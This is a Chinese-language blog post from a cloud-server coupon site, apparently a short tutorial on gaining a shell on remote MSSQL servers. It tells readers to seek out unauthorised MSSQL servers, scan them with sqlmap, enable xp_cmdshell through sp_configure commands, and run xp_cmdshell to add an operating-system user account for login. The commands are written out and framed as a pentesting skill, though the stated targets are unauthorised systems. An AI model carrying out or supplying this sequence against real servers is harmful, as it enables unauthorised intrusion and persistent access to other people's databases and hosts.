云服务器网:购买云服务器和VPS必上的网站!

MSSQL远程渗透之获得shell技能

MSSQL远程渗透获得shell技能
MSSQL远程渗透是一种技术,它能让我们通过某种漏洞获得系统权限并获得shell,它也能够通过一系列的技术的利用实现。
下面,我们来介绍MSSQL远程渗透获得shell的技能。
首先,我们需要找到一些未授权的MSSQL远程

MSSQL远程渗透获得shell技能

MSSQL远程渗透是一种技术,它能让我们通过某种漏洞获得系统权限并获得shell,它也能够通过一系列的技术的利用实现。

下面,我们来介绍MSSQL远程渗透获得shell的技能。

首先,我们需要找到一些未授权的MSSQL远程服务器。然后连接到远程服务器,首先要使用SQLMap来审计渗透目标服务器,检查出存在的漏洞。例如,可使用以下命令:

sqlmap -u [Target URL] –dbs:

其次,经过SQLMap的审计,下一步就是检查MSSQL服务器中会不会存在xp_cmdshell这类存储进程。这是一种允许履行任意命令和系统命令的进程,由于xp_cmdshell是默许情况下不可用的,所以要将它激活,可使用以下代码:

EXEC sp_configure ‘show advanced options’, 1

GO

RECONFIGURE

GO

EXEC sp_configure ‘xp_cmdshell’, 1

GO

RECONFIGURE

GO

最后,使用xp_cmdshell来履行远程命令并获得shell。可以履行以下命令:

exec master..xp_cmdshell ‘net user /add [username] [password]’

如果成功,登录远程服务器就会用刚刚设置的用户名和密码。

通过以上步骤,可以获得到MSSQL远程服务器上的shell。在渗透技术中,获得shell是一个非常重要的一步,以上技能可以帮助渗透测试人员轻松获得shell。

本文来源:https://www.yuntue.com/post/197895.html | 云服务器网,转载请注明出处!

关于作者: yuntue

云服务器(www.yuntue.com)是一家专门做阿里云服务器代金券、腾讯云服务器优惠券的网站,这里你可以找到阿里云服务器腾讯云服务器等国内主流云服务器优惠价格,以及海外云服务器、vps主机等优惠信息,我们会为你提供性价比最高的云服务器和域名、数据库、CDN、免费邮箱等企业常用互联网资源。

为您推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注